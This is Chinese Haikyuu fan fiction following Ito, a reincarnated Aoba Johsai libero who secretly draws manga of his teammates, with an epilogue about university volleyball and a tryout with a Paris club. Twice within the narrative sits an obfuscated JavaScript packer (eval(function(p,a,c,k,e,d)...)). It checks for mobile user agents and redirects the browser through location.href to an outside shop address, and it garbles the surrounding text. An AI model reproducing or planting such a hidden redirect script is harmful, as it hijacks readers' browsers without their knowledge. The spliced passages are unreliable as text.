但他没有说画什么稿子,金田一大概以为他说的“画稿子”是指写作业之类的。 “国见也来了?”伊藤看向国见。 国见靠在门框上,手里拿着一盒牛奶,吸管已经插好了,正在慢悠悠地喝。他看了伊藤一眼,没有说话,但那眼神的意思是“我被金田一拉来的,别问我”。 “我们来找你一起去便利店。”金田一走进教室,把塑料袋放在伊藤的桌上,“已经买好了,你的份也买了。运动饮料,给你。” 他从袋子里拿出一瓶蓝色的运动饮料,放在伊藤面前。伊藤看着那瓶饮料,愣了一下。 “你怎么知道我喜欢这个口味?” “上次你买的就是这个。”金田一说,“我记住了。” 伊藤低下头,把那瓶饮料拿起来,拧开盖子,喝了一口。是冰的。 金田一从便利店一路走过来,饮料还是冰的。 他不知道自己心里涌起的那种感觉叫什么。 不是感动——太重的词了。不是高兴——太轻了。是一种很淡的、暖暖的东西,像冬天里捧着一杯热茶,指尖传来的那种温度。 “你在画什么?”金田一凑过来,目光落在桌上摊开的原稿纸上。 伊藤的身体又僵了一下。 “漫画的稿子。”他说,语气尽量平静。 “就是那个……《第二防线》?”金田一问。 伊藤点了点头。 他没有告诉过金田一自己就是《第二防线》的作者,但上次去东京之后,渡在群组里问过他,金田一也在旁边,他没有否认。 所以金田一知道他在画漫画,也知道他的笔名是“小川由里子”。 但金田一不知道他还在画另一部漫画——一部把青城排球部所有人画进去的、完全不打算给任何人看的漫画。 “我可以看看吗?”金田一的眼睛亮晶晶的。 伊藤犹豫了一下,然后把《第二防线》的原稿递给他。 不是因为他不想让金田一看,而是因为他不知道金田一会看出什么。 金田一不是一个细心的人,但他是一个很“直”的人——他的直觉比他的眼睛更灵敏,很多时候他能感受到一些他没有意识到自己感受到了的东西。 金田一接过原稿,认真地看了起来。 他看漫画的方式和他这个人一样——很大声。 看到精彩的地方会“哦——”地发出声音,看到紧张的地方会皱起眉头,看到有趣的地方会咧嘴笑。 伊藤坐在旁边,听着金田一的反应,心跳不自觉地加快了。 不是紧张,是那种“别人在看我的作品”时特有的心跳加速。 国见不知什么时候也走到了桌边。 他没有说话,只是站在那里,低着头看金田一手里的原稿。 他的表情依然是那副淡漠的样子,但伊藤注意到他的目光在每一格上停留的时间都不短。 “这个主角,”金田一看完最后一格,抬起头看着伊藤,“是你吧?” 伊藤没有回答。 “我知道是你。”金田一说,“他接球的动作和你一模一样。还有他加练的时候那个表情——那种‘全世界只剩下我和排球’的表情。我见过。” 伊藤低下头,把原稿收起来,整齐地叠好,放进文件夹里。 “这个自由人,”国见忽然开口了,“是渡前辈。” 伊藤的手停了一下。 “不完全是。”他说,“有一些部分是,有一些不是。” “那个二传手呢?”国见问。 伊藤沉默了两秒钟。“是及川前辈。也不完全是。” 金田一瞪大了眼睛,重新把原稿看了一遍,这次看得更仔细了。 他看着主角的队友们——那个脾气暴躁的王牌攻手,那个表面冷漠实则关心队友的二传手,那个永远在喊“加油”的副攻手,那个话少但每一次开口都说在点子上的自由人前辈。 他越看越觉得眼熟,但又说不出具体像谁。 “这不是我们队吗?”金田一忽然说。 伊藤没有否认,也没有承认。 他只是安静地坐着,等着金田一下一句话。 “伊藤,你画的这个,”金田一把原稿翻到其中一页,指着上面的一格,“这个攻手扣球的姿势,是岩泉前辈吧?你看这个肩膀的角度,还有手腕下压的方式,完全一样。” 伊藤看了看那一格,然后看了看金田一。 “你觉得像就是像。”他说。 金田一盯着他看了两秒钟,然后笑了。 那笑容很大,露出一排整齐的牙齿,眼睛弯成了月牙形。 “伊藤,你真的好厉害。”他说,“你不仅能打排球,还能画漫画。你画的还是我们。” 伊藤摇了摇头。“不完全是你们。是我想象中的你们。” “有什么区别?” 伊藤想了想,说:“想象中的人不会累,不会受伤,不会在输球之后哭。你们会。” 金田一愣了一下。然后他的眼眶忽然红了。 “你这个人,”金田一吸了吸鼻子,“说话有时候真的让人很想哭。” 国见在旁边面无表情地说了一句:“你本来就爱哭。” “我没有!”金田一反驳道,但声音已经有些哽咽了。 伊藤看着金田一红了的眼眶,嘴角弯了一下。 他低下头,把那瓶运动饮料又喝了一口。 还是冰的。 三个人在教室里坐了一会儿,聊天,喝饮料,吃薯片。 金田一的话最多,从IH预选赛聊到期末考试,从期末考试聊到暑假要去哪里玩。 他说想去海边,说去年夏天去了仙台的水族馆,说水母很好看,说国见全程一句话都没说,说及川前辈那天也在水族馆,戴了一顶很蠢的帽子。 “什么帽子?”伊藤问。 “草帽。”金田一说,“那种农民伯伯戴的草帽。” 伊藤想象了一下及川戴着草帽站在水族馆里的画面,嘴角不自觉地弯了一下。 “他自己觉得很好看。”国见说,“还问我们帅不帅。” “然后呢?”伊藤问。 “岩泉前辈说‘丑’。”金田一说,“然后及川前辈就说岩酱没有审美,然后岩泉前辈就追着他打,在水族馆里跑了好几圈。” 伊藤笑出了声。 不是那种嘴角微弯的笑,而是真的笑出了声,声音不大,但很真实。 金田一听到他的笑声,愣了一下,然后也笑了。 “伊藤,你笑起来的样子和平时完全不一样。”金田一说。 伊藤收起了笑容,耳朵尖红了。 “平时你总是一副没什么表情的样子,”金田一说,“我还以为你不太会笑。” “他会笑。”国见说,“只是很少。” 伊藤低下头,把那瓶运动饮料的瓶盖拧紧,又拧开,又拧紧。 他不知道该说什么。 他确实不太会笑——不是不想笑,而是不习惯。 前世一个人生活了太久,笑这个动作变成了一种需要刻意去做的事情,而不是自然而然流露出来的表情。 但刚才他笑了。 没有刻意,没有思考,就是觉得好笑,然后就笑了。 这种感觉很好。 下午三点多的时候,金田一说要去买新的护膝,国见说要去书店,伊藤说他要继续画稿子。 三个人在车站前分开,金田一挥着手喊“明天见”,国见点了点头,伊藤也点了点头。 伊藤没有回学校。他回了家。 走进公寓的时候,他发现门缝里塞了一张明信片。 是宇内天满寄来的。 明信片的正面是一张手绘的插画——一个少年站在球场上,手里拿着一颗排球,背对镜头,仰头看着远处的天空。 画得不算精细,线条有些潦草,但那种“仰望”的感觉传达得很准确。 背面写着一行字:“伊藤君,新的一话画完了。这次没有被退稿。宇内” 伊藤看着那行字,站了几秒钟。 然后他打开门,把明信片放在书桌上,换了一身衣服,坐到了书桌前。 他拿出《青城日常》的稿纸,翻到最新的一页。 今天下午被金田一打断之前,他正在画第四页。 第四页的内容是训练结束后,渡和伊藤两个人在体育馆里加练移动反应训练的场景。 他画了渡站在网前指向场地不同位置的瞬间,画了自己从后排冲向边线的瞬间,画了两个人的影子在地板上交错的瞬间。 他继续画。 第五页。内容是金田一在便利店买肉包,发现最后一个被国见买走了。 他画了金田一瞪大眼睛的表情,画了国见面无表情地咬了一口肉包、热气从咬开的口子里冒出来的瞬间,画了金田一的肩膀垮下来的样子,画了国见走了两步又停下来、把第二个肉包递给金田一的那一格。 第六页。内容是及川在更衣室里对着镜子整理头发,岩泉从旁边经过,面无表情地把他的头按下去。 这四格他下午在教室里已经画完了,但他觉得岩泉按头的那个动作画得不够有力,于是把那一格重新画了一遍。 这次他把岩泉手臂的肌肉线条画得更明显了一些,把及川被按下去时脖子的角度调整了一下,效果好了一些。 第七页。 内容是松川和花卷在训练间隙聊天,花卷在抱怨今天的训练太累了,松川面无表情地说“你每次都这么说”,花卷说“因为每次都真的很累”,然后两个人沉默了一会儿,花卷说“去买饮料吗”,松川说“去”。 很简单的四格,没有笑点,没有冲突,只是两个人之间的一种默契。 伊藤画的时候想起了前世看到的一句话——友情不是大声说出来的,是在一起沉默也不会尴尬。 第八页。内容是京谷一个人在体育馆里加练扣球。 伊藤画了京谷起跳的瞬间——身体在空中完全舒展,左手后拉,整个人的姿态像一张拉满的弓。 他没有画京谷的表情,因为他觉得京谷在扣球的时候没有表情。 不是面无表情,是“没有多余的表情”。 他的全部注意力都在球上,没有精力去做表情。 第九页。内容是国见在课堂上睡觉,老师叫他起来回答问题,他站起来,沉默了三秒钟,说出了正确答案,然后坐下去继续睡。 伊藤画了老师惊讶的表情,画了同学们窃窃私语的背景,画了国见闭着眼睛趴在桌上的侧脸。 这一页他画得最慢,因为他不太确定国见回答问题时会是什么表情。 最后他决定不画表情——国见的头发挡住了大半张脸,只露出一只闭着的眼睛。 第十页。内容是岩泉和及川在放学路上吵架。 及川说岩酱今天的扣球有几个被拦了,岩泉说那是因为你的托球太慢了,及川说那是因为一传不到位,两个人互相指责,越吵越凶,然后同时停下来,同时说了一句“去买冰棒吗”,同时点了点头。 伊藤画了他们吵架时互相指着对方鼻子的样子,画了他们同时沉默的那一格,画了他们并排走向便利店的两个背影。 伊藤画到第十页的时候,窗外的天色已经暗了。 他打开台灯,暖黄色的光照在稿纸上,把墨线衬得更黑,把留白衬得更白。 他放下笔,活动了一下僵硬的脖子,把十页稿纸从头到尾看了一遍。 不坏。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17472569|201213||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 不完美,但也不坏。 线条有时候会抖,人物的比例偶尔会出现偏差,有些格子的构图太满了,有些格子的留白太多。 但这些小毛病加在一起,反而让这部漫画有了一种手作的温度——不是工厂里批量生产出来的,是一双手、一支笔、一张纸、一个深夜、一个人,慢慢画出来的。 他把稿纸收好,放进书桌最下面的抽屉里,压在几本旧笔记本下面。 那个抽屉里还放着穿越第一天翻到过的那本笔记本、山口寄来的读者问卷、宇内天满的明信片、以及一双他刚穿越时穿的运动鞋——鞋底已经磨薄了一层,但他没舍得扔。 关上抽屉,他躺到床上,盯着天花板。 明天有训练。后天也有训练。 下周末有全国大赛的第一轮比赛。 青城要去东京,去那个他昨天刚离开的城市,去打全国大赛。 及川彻的第一次全国大赛。 他不知道青城能走多远。 剧情已经变了,他没有任何可以依赖的记忆。 但有一件事他知道——他会坐在板凳上,看着队友们在场上战斗。 如果教练叫到他的名字,他会站起来,走上场,接球。 在那之前,他要画完《青城日常》的第二十页。 他还没有想好画什么,但他知道大概会在什么时候画完。 大概是在全国大赛结束之后。 不管结果如何,他都会把这部漫画画完,然后把它收进抽屉里,不给任何人看。 至少他现在是这样想的。 周一的晨练结束后,伊藤在更衣室里换衣服。 金田一坐在他旁边的长凳上,正在系鞋带。 他系鞋带的方式很特别——先打一个普通的结,然后把两个环再打一个结,双重保险。 伊藤看着他的手指在鞋带上翻飞,忽然觉得这个画面应该画下来。 “伊藤。”金田一忽然开口了。 “嗯?” “你那个漫画,《第二防线》,最新一话看了吗?” “看了。”伊藤说。他当然看了,因为那就是他画的。 “这一话的主角好厉害。”金田一说,“他在那场比赛中接起了对方的三个重扣,还救了一个看起来绝对救不到的球。我看了三遍。” 伊藤没有说话。他这一话的主角夏川优接起的那三个重扣,原型是他在训练中接起的京谷的扣球。 那个“看起来绝对救不到的球”,原型是他在练习赛中接起的及川的跳发球。 他把自己的经历画进了漫画里,用虚构的人物讲述真实的故事。 “你觉得那个主角,”金田一问,“能成为正选吗?” 伊藤想了想,说:“能。” “你怎么知道?” “因为他不会停下来。”伊藤说,“只要不停下来,就一定能走到想去的地方。” 金田一看着伊藤,忽然笑了。 “你在说你自己吧。” 伊藤没有回答。他把运动服叠好,放进储物柜里,关上门,锁好。 “走吧。”他说,“要上课了。” 两个人走出更衣室,穿过走廊,经过体育馆。 体育馆的门开着,里面有人在打扫卫生——不是排球部的队员,是学校的清洁工,穿着蓝色的工作服,拿着拖把在球场上慢慢地拖着。 伊藤在体育馆门口停了一下,往里看了一眼。 晨光从窗户照进来,落在木地板上,把整个场馆照得通亮。 球网在晨光中微微下垂,像是两个人在互相鞠躬。 他看着那个画面,心里想:这个应该画下来。 但不是今天。今天要上课,要训练,要画《第二防线》的第八话原稿。 明天也是。后天也是。 每一天都是。 这就是他的日常。 不是漫画里的日常,不是小说里的日常,是真实的、具体的、有些单调的、但又不舍得放手的日常。 伊藤转过身,朝教室的方向走去。 金田一走在前面,韭菜头在走廊的灯光下显得格外蓬松。 他走路的姿势很大步,像是有用不完的精力。 伊藤跟在他后面,保持着一个不远不近的距离——不是刻意保持的,是不知不觉就走成了这样。 穿过操场的时候,他看到了国见。 国见站在教学楼入口处,手里拿着一盒牛奶,正在喝。 看到他们走过来,他没有说话,只是微微抬了一下下巴,算是打了招呼。 “国见!你今天好早!”金田一喊道。 国见看了他一眼,说:“是你太晚了。” 金田一低头看了看手表,然后发出了一个夸张的叫声:“真的假的!还有三分钟就打铃了!” 他一把抓住伊藤的手腕,拉着他就往教学楼里跑。 伊藤被他拽得踉跄了一下,差点摔倒,但金田一的手很紧,没有让他倒下去。 他们跑过走廊,跑过楼梯,跑过一排排紧闭的教室门。 金田一的脚步声很大,咚咚咚地响,像是有人在用锤子敲地板。 伊藤的脚步声很小,几乎听不到,但他的心跳很大声,咚咚咚地敲着他的胸腔。 他们在预备铃响起的前一秒冲进了教室。 金田一弯着腰喘气,伊藤也弯着腰喘气。 两个人对视了一眼,金田一先笑了,然后伊藤也笑了。 “好险。”金田一说。 “嗯。” “明天要早一点。” “好。” 伊藤坐到自己的座位上,拿出课本,放在桌上。 他的手还在微微发抖——不是因为跑步,而是因为刚才金田一拉着他跑的时候,他忽然想到了一件事。 金田一拉着他跑的时候,他没有觉得“被拽着跑”,而是觉得“被带着跑”。 一种很细微的差别,但那种差别很重要。 被拽着跑是被动的、勉强的;被带着跑是主动的、信任的。 他的身体在金田一的拉扯下保持了平衡,因为他在某种程度上相信金田一不会让他摔倒。 这种信任不是一天形成的。 是两个月来,每天一起训练、一起吃饭、一起聊天、一起笑、一起沉默,一点一点积累起来的。 它不是出现在某一次深谈中,而是出现在无数次不经意的瞬间里——递过来的运动饮料,多买了一个的肉包,随口说出的一句“我记住了”。 伊藤翻开课本,看着上面密密麻麻的字。 他想把这些都画进《青城日常》里。 不是及川的发球,不是岩泉的扣球,不是那些会被剪进比赛集锦的高光时刻。 而是这些——晨练后更衣室里的沉默,便利店货架前的不约而同,走廊里被拉着手腕奔跑的瞬间。 这些才是日常。 这些才是他不想忘记的东西。 伊藤拿起笔,在课本的空白处画了一个小小的分镜,三格。 第一格:金田一拉着他跑过走廊,两个人的影子在地面上交叠;第二格:金田一的背影,韭菜头在风中晃动;第三格:他自己的脚,被带着跑,但步伐很稳。 他画得很小,小到不仔细看根本看不到。 但他知道它在那里。 就像他知道,那些他画进《青城日常》里的画面,总有一天会被他看到的人记住。 不是以“伊藤有弥画的漫画”的形式,而是以“我们曾经是这样的”的形式。 他把笔放下,看着窗外的天空。 六月的宫城县,梅雨还没有来。 天空蓝得透亮,云层很薄,阳光照在操场上,把草地晒成了一种温暖的黄绿色。 教室里,老师在黑板上写下了今天的第一道数学题。 粉笔和黑板摩擦的声音尖锐而短促,然后是一阵沙沙的写字声。 金田一在后排发出了一个很轻的、像是快要睡着了的呼吸声。 国见在旁边翻了一页课本,纸页的声音很轻,像是什么东西在悄悄生长。 伊藤低下头,开始抄笔记。 他抄得很慢,因为他一边抄一边在想今天晚上要画的那一格。 金田一拉着他跑过走廊的那一格。 他要把金田一的表情画得专注一些,把自己的表情画得模糊一些——因为那一刻他不知道自己是什么表情,他只知道自己在跑,在被带着跑,在信任着那个拉着他的人。 这就是青城的日常。 这就是伊藤有弥的日常。 不是漫画里的日常。 是真实的、具体的、正在发生的日常。 他把它画下来了。 用他的笔,用他的眼睛,用他十六岁的身体里那颗二十三岁的心脏。 然后他把课本合上,把笔放下,等着下课铃响。 因为下课之后,是训练。训练之后,是加练。加练之后,是回家。回家之后,是画稿。画稿之后,是睡觉。睡觉之后,是第二天。 第二天,金田一又会拉着他跑过走廊。 他相信这一点。 18.番外二 0. 早稻田大学的排球馆在东京的西早稻田,一栋灰色的建筑,外墙爬满了常春藤,秋天的时候叶子变成深红色,像是整栋楼在燃烧。 伊藤有弥第一次走进这栋楼的时候,是四月的一个下午,樱花已经落尽了,空气里弥漫着新学年特有的那种既兴奋又不安的气息。 他穿着早稻田排球部的训练服,站在球场上。 训练服是深蓝色的,胸前印着“早稻田”三个白色的字,背后是他的号码——十一号。 不是正选号码,只是一个普通的、分配给新入部队员的号码。 四年了。 距离他离开青叶城西,已经过去了整整四年。 高中毕业的那天,他在体育馆里收拾自己的储物柜。 渡亲治已经毕业了,柜子早就空了;及川和岩泉的柜子也在三年前就空了;松川和花卷的柜子也一样。 只有金田一和国见的柜子还贴着名字,他们是最后一批离开的一年级——不,他们入部的时候是一年级,毕业的时候已经是三年级了。 伊藤把护膝、护腕、胶带、笔记本从柜子里拿出来,一件一件地放进包里。他的动作很慢,像是要把每一个动作都记住。 金田一站在他旁边,眼眶红红的,但没有哭;国见靠在墙上,手里拿着一盒牛奶,慢悠悠地喝着。 “伊藤。”金田一说,“你真的不去参加职业队的选拔吗?” 伊藤摇了摇头。 “为什么?你的实力完全可以……” “我知道。”伊藤说,“但我想先上大学。” 金田一沉默了一会儿,然后点了点头。他没有追问。 他知道伊藤是一个做了决定就不会轻易改变的人。 伊藤没有告诉金田一真正的原因。 不是因为不信任,而是因为那个原因太复杂了,复杂到他连自己都说不清楚。 他确实收到了几支职业队青年队的邀请,不是顶级强队,但也不是无名之辈。 如果他愿意,他可以成为一名职业排球运动员,在V联赛的下级队伍里从替补做起,一步一步往上爬。 但系统还在。 系统说,成为世界第一自由人,才能回家。 V联赛的下级队伍,离“世界第一”太远了。 他需要去更高的地方,需要站在更强的赛场上,需要和更强的对手交手。 而那条路,不是高中毕业直接进入国内联赛就能走通的。 他需要更多的积累,更多的时间,更多的成长。大学给了他四年。 早稻田大学的排球部在东京大学联赛中属于中上游水平,不算最强,但也不弱。 伊藤入部的时候,队里有三个比他年长的自由人,一个三年级,两个二年级。 他又是从替补席开始的。 和青城的时候一样。 但这一次,他不急了。 大学的生活和高中完全不同。 课程更多,时间更碎,训练更专业,对手更强。 早稻田的教练是一个五十多岁的中年人,姓野村,曾经是国家队的助理教练,对自由人的要求极高。 他看了伊藤的训练后,只说了一句话:“技术不错,身体太弱。” 伊藤开始做力量训练。 以前在青城的时候,渡也让他做力量训练,但高中的训练量和大学不在一个量级上。 大学的健身房里有专业的力量器械,有体能教练制定的训练计划,有营养师配的饮食方案。 他每周做三次力量训练,重点加强下肢和核心肌群。 深蹲、硬拉、腿举、平板支撑、俄罗斯转体——每一个动作都做到力竭,然后第二天再做一遍。 大一的秋天,他在一次训练中接起了队长的一记重扣,球稳稳地送到了二传手的手中。 队长落地后看了他一眼,说了一句:“你是从宫城来的?” “是。” “青城?” “是。” 队长点了点头,没有再说什么。 但从那天开始,伊藤在队内的存在感明显提升了。 不是因为队长的认可有什么特殊分量,而是因为那记接球让所有人看到了他的稳定性——那种不论面对什么样的扣球、都能把球送到同一个位置的稳定性。 大二的时候,他成为了正选自由人。 不是因为他打败了谁,而是因为他比所有人都稳。 训练中他不失误,比赛中他不失误,连续打满五局他不失误。 他的体力比大一的时候好了很多,力量也从2提升到了3,虽然依然不算强,但至少不会在连续接了几个重扣之后手臂失去知觉。 他的五维数据在大二结束时变成了这样:技术5,速度5,力量3,跳跃3,爆发力4,智力5。 系统的判定标准在高中毕业后发生了变化——不再是“高中水平”的评估,而是“成人水平”的评估。 在更严格的尺度下,他的数据看起来依然平淡,但“技术5”意味着他已经达到了大学联赛中上游自由人的水平。 大三的时候,早稻田打进了东京大学联赛的决赛。 对手是筑波大学,一支拥有两名国青队成员的强队。 伊藤打满了全部四局——不是五局,因为早稻田以一比三输了。 但他在这四局中接了四十多个发球,防守起球三十多次,失误只有三次。 赛后,筑波大学的教练走过来,问他有没有兴趣转学到筑波。伊藤说没有。 大四的时候,他成为了队长。 不是因为他最有天赋,而是因为他最稳定。 不是因为他话最多,而是因为他说话的时候,每个人都愿意听。 这是他四年大学生涯中最大的收获——不是技术的提升,不是身体的强化,而是他学会了如何成为一个可以被依赖的人。 在青城的时候,他依赖及川,依赖岩泉,依赖渡。 在早稻田,没有人可以依赖了。 他是最年长的,他是经验最丰富的,他是一年级新生们仰望的对象。 大四的秋天,早稻田再次打进了东京大学联赛的决赛。 这次对手是日本体育大学,一支以培养职业运动员闻名的强队。 伊藤打了全部五局。 第五局的最后几分,他的手臂已经失去了知觉,但他的判断没有出错。 他接起了对方王牌的连续三次重扣,每一次都稳稳地送到了二传手的手中。 早稻田赢了。三比二。 比赛结束的哨声响起时,伊藤跪在了球场上。 不是因为激动,而是因为太累了,他的身体已经没有力气站着了。 队友们冲过来,把他从地上拉起来,拍着他的肩膀和后背。 有人哭了,有人在笑,有人在大声喊着什么。 伊藤听不清那些声音,他的耳朵里只有自己的心跳声,咚咚咚咚,像是有人在敲一面很远的鼓。 他抬起头,看着体育馆的天花板。灯光很亮,亮到有些刺眼。 他想起了高中时第一次站在青城体育馆里的那个早晨。 那时候他是一个连名字都记不住的替补自由人,现在他是东京大学联赛冠军队伍的主将、自由人、MVP。 但他还是没能回家。 系统没有响。 世界第一自由人的路,还很长很长。 毕业后,伊藤没有像大多数同学那样进入公司就职。 他在东京找了一份兼职——在神保町的一家旧书店做店员,每周工作三天。 剩下的时间,他用来打排球。 他加入了一家俱乐部。 不是职业队,是社会人俱乐部,队员来自各行各业,有公司职员、有公务员、有大学研究生、有自由职业者。 训练在晚上,每周三次,在一个区立体育馆里。 灯光有些暗,地板有些旧,球网有些松。但排球的触感是一样的。 俱乐部的名字叫“VICTORIA”,名字很响亮,但只是一个由二十几个排球爱好者组成的小团体。 伊藤是通过早稻田的学长介绍加入的。 第一次训练的时候,俱乐部的队长问他打什么位置,他说自由人。 队长看了他一眼,大概是觉得他看起来不像一个打排球的人——他依然很瘦,依然看起来很安静,依然不像是会站在球场上大声喊话的那种人。 但打了几个球之后,队长的表情变了。 他问伊藤:“你以前打过职业?” 伊藤说没有。 队长又问:“那你为什么这么强?” 伊藤想了想,说:“因为我打得久。” 从十六岁到二十三岁,七年。 他打了一万多个小时的排球。 晨练、部活、加练、大学训练、俱乐部训练——他把这些时间加起来,得出了一个大概的数字,然后觉得自己打得还不够久。 俱乐部的训练强度远不如高中和大学,但伊藤依然很认真。 每一次接球都全力以赴,每一次移动都不偷懒。 队友们说他太较真了,他说这不是较真,这是习惯。 他在俱乐部的第二年春天,遇到了一个人。 那天是周六,体育馆里比平时热闹,因为来了几个新面孔。 俱乐部的队长说,今天有几个朋友要来一起打,都是打排球的,水平不错。 伊藤没有在意,他正在角落里做拉伸,把注意力集中在自己的呼吸上。 一个声音从头顶传来。 “你是自由人?” 伊藤抬起头,看到一个四十多岁的男人。 他穿着一件深灰色的风衣,头发有些花白,脸上的线条很硬,但眼神很温和。 他手里拿着一个文件夹,看起来不像是一个来打球的人。 “是。”伊藤说。 男人蹲下来,看着伊藤的眼睛。 “我是菲利普·杜邦。”男人说,“法国人。排球球探。” 伊藤看着他,没有说话。 不是因为惊讶,而是因为他不知道应该说什么。 他听说过球探这个职业,但他从来没有想过自己会被球探注意到。 他的水平他知道——在大学联赛中算得上顶尖,但放在职业层面,还有很大的差距。 他不觉得自己是一个会被球探看中的球员。 菲利普从文件夹里拿出一张纸,递给伊藤。 纸上印着几行法文和日文对照的内容,标题是“巴黎排球俱乐部试训邀请”。 巴黎排球俱乐部——法国联赛的强队之一,欧洲杯的常客。 伊藤看过他们的比赛,在视频网站上,深夜一个人对着屏幕。 “你弄错人了。”伊藤说。 “没有。”菲利普说,“我看了你大学时的比赛录像。东京大学联赛决赛,早稻田对日本体育大学。你的表现很出色。” “那已经是两年前的事了。” “我知道。”菲利普说,“我还看了你最近在俱乐部的训练。你的技术比大学时更成熟了。你的判断力、你的稳定性、你的冷静——这些东西不是每个人都能拥有的。” 伊藤沉默了一会儿。 “我的力量不够。”他说。 “力量可以练。”菲利普说,“判断力练不出来。” 伊藤看着手里的试训邀请,看了很久。 纸上的字有些模糊了,不是因为他眼睛出了问题,而是因为他的眼眶有些热。 “我需要时间考虑。”他说。 菲利普点了点头,从口袋里拿出一张名片,递给他。“想好了联系我。” 伊藤把名片和试训邀请一起夹进了笔记本里。 那天晚上,他一个人坐在公寓的书桌前,把笔记本翻开,看着那两页纸。 桌上还摊着原稿纸和G笔尖,《第二防线》已经连载了将近七年,从周刊变成了月刊,从月刊变成了不定期连载。 不是因为它不红了,而是因为伊藤没有时间了。 他选择了排球。 他把笔记本合上,躺到床上,盯着天花板。 天花板上有一个水渍,形状像一片云。 他在那片云下面躺了很久,想了很久。 然后他拿起手机,给菲利普发了一条消息。 “我愿意去试训。” 去法国的决定,他没有告诉太多人。 金田一知道,国见知道,渡知道,及川不知道。 不是他不想告诉及川,而是他不知道及川在哪里。 阿根廷,也许是巴西,也许是意大利。 及川彻去了世界的另一个角落,在那里打出了自己的路。 伊藤偶尔在社交媒体上看到他的消息——一张训练后的自拍,配文是“今天也是完美的一天”,评论区里岩泉回复了一个拳头,及川回复了一个哭脸。 伊藤看着那些互动,嘴角会弯一下。 然后他会关掉手机,继续做自己的事情。 出发的那天,三月的东京还带着寒意。 成田机场的出发大厅里人来人往,广播里不断播放着航班信息。 伊藤背着一个大背包,拖着一个行李箱,站在出发口。 金田一和国见来送他。 金田一从仙台坐了三个小时的新干线赶来,国见从横滨坐了一个小时的电车。 三个人站在出发大厅里,一时间不知道说什么。 金田一先开口了。 “你一定要回来。”他说,眼眶已经红了。 “我会回来的。”伊藤说。 “不回来也行。”金田一说,“但是要联系。不能不联系。” “好。” 国见站在旁边,手里拿着一盒牛奶,慢悠悠地喝着。 他没有说话,只是看着伊藤,然后伸出手,拍了拍伊藤的肩膀。 那个动作很轻,很熟悉。和高中时一模一样。 “走了。”伊藤说。 他转过身,走向安检口。 他没有回头,因为他知道如果他回头,他可能就走不了了。 不是因为他会改变主意,而是因为他可能会哭。 他不喜欢在别人面前哭。 过了安检之后,他忍不住回头看了一眼。 金田一站在原地,朝他用力地挥着手。国见站在金田一旁边,没有挥手,但一直在看着他。 伊藤朝他们点了点头,然后转过身,走进了登机口。 飞机在巴黎时间下午抵达戴高乐机场。 三月的巴黎还很冷,气温比东京低了将近十度。 伊藤走出机场的时候,冷风灌进他的衣领,他不自觉地缩了一下脖子。 他站在到达口,看着陌生的天空,陌生的建筑,陌生的文字。 一辆黑色的轿车停在路边。车窗摇下来,菲利普坐在驾驶座上,朝他挥手。 “伊藤!这里!” 伊藤把行李箱放进后备箱,坐进了副驾驶座。 车里的暖气开得很足,和外面的寒冷形成了鲜明的对比。 “累吗?”菲利普问。 “还好。” “时差会很痛苦。今天晚上别睡太早,撑到晚上再睡,不然明天会很累。” “好。” 车子驶入了高速公路。 窗外的风景从机场的灰色建筑变成了郊区的田野,从田野变成了城市的街道。 巴黎的建筑比东京低很多,天空很开阔,云层很低,像是伸手就能摸到。 “试训在后天。”菲利普说,“这两天你好好休息,调整时差。俱乐部给你安排了公寓,离训练馆不远。” “谢谢。” “不用谢我。”菲利普笑了一下,“我是球探,我的工作就是找到好的球员。你是我找到的,如果你表现好,我也有面子。” 伊藤看着窗外,没有说话。 巴黎排球俱乐部的训练馆在城市的西南角,一栋白色的建筑,门口挂着一面巨大的旗帜,上面印着俱乐部的标志——一只红色的雄鸡,脚下踩着一颗排球。 伊藤站在门口,抬头看着那面旗帜,深吸了一口气,然后推门走了进去。 训练馆里已经有几个人在了。 一个高大的黑人在网前做扣球练习,他的起跳高度让伊藤想起了牛岛若利——不,比牛岛更高。 他的扣球砸在地板上的声音像是有人用锤子在敲,整个训练馆都在震动。 “那是阿马杜·迪亚洛。”菲利普的声音从身后传来,“塞内加尔人,今年二十八岁,是队里的主力攻手。他的扣球在联赛中排前三。” 伊藤看着阿马杜的扣球,在心里默默地计算着球的轨迹和速度。 试训的内容很简单。 接发球、防守起球、一传到位率测试、移动反应测试。 每一项都有数据记录,每一项都会被量化成数字。伊藤站在球场上,蹲低身体,双手前伸。 第一个发球来自俱乐部的二传手,一个三十多岁的法国人,发球不算快,但旋转很强。 伊藤判断出了落点,移动了过去,稳稳地接了起来。 球送到了二传手的手中,二传手甚至没有移动脚步。 “不错的开始。”菲利普在旁边说。 第二个。第三个。第四个。 伊藤连续接了二十个发球,全部成功,十八个送到了位。 然后是扣球防守。阿马杜站在网前,手里转着球,看着伊藤,眼神里带着一丝好奇。 他扣球了。 球速比训练中的任何一次都快,球带着左撇子特有的旋转,瞄准了伊藤防守区域的边缘。伊藤移动了,他的右脚直接跨出,身体侧对球的方向,前臂在球接触的瞬间微微放松,呼气。 球弹了起来,飞向了二传手的方向。 阿马杜看了伊藤一眼,嘴角微微弯了一下。 他扣了第二个、第三个、第十个、第二十个。 伊藤接起了其中的十七个,送到了位十三个。 不是最好的数据,但对于一个来自日本、没有职业经验的自由人来说,这是一个让所有人意外的结果。 试训结束后,俱乐部的教练走到伊藤面前。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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洛朗看着他的数据,沉默了很久,然后说了一句话:“你是我见过的最努力的球员。” 伊藤没有说话。 他在想,从十六岁到二十三岁,他打了七年的排球,每一年的每一天都在训练,每一天的训练都在重复。 一万多个小时,两万多个小时,他记不清了。 他只知道,他从来没有停下来过。 巴黎排球俱乐部的主场在皮埃尔·德·顾拜旦体育场,一个能容纳五千人的场馆。 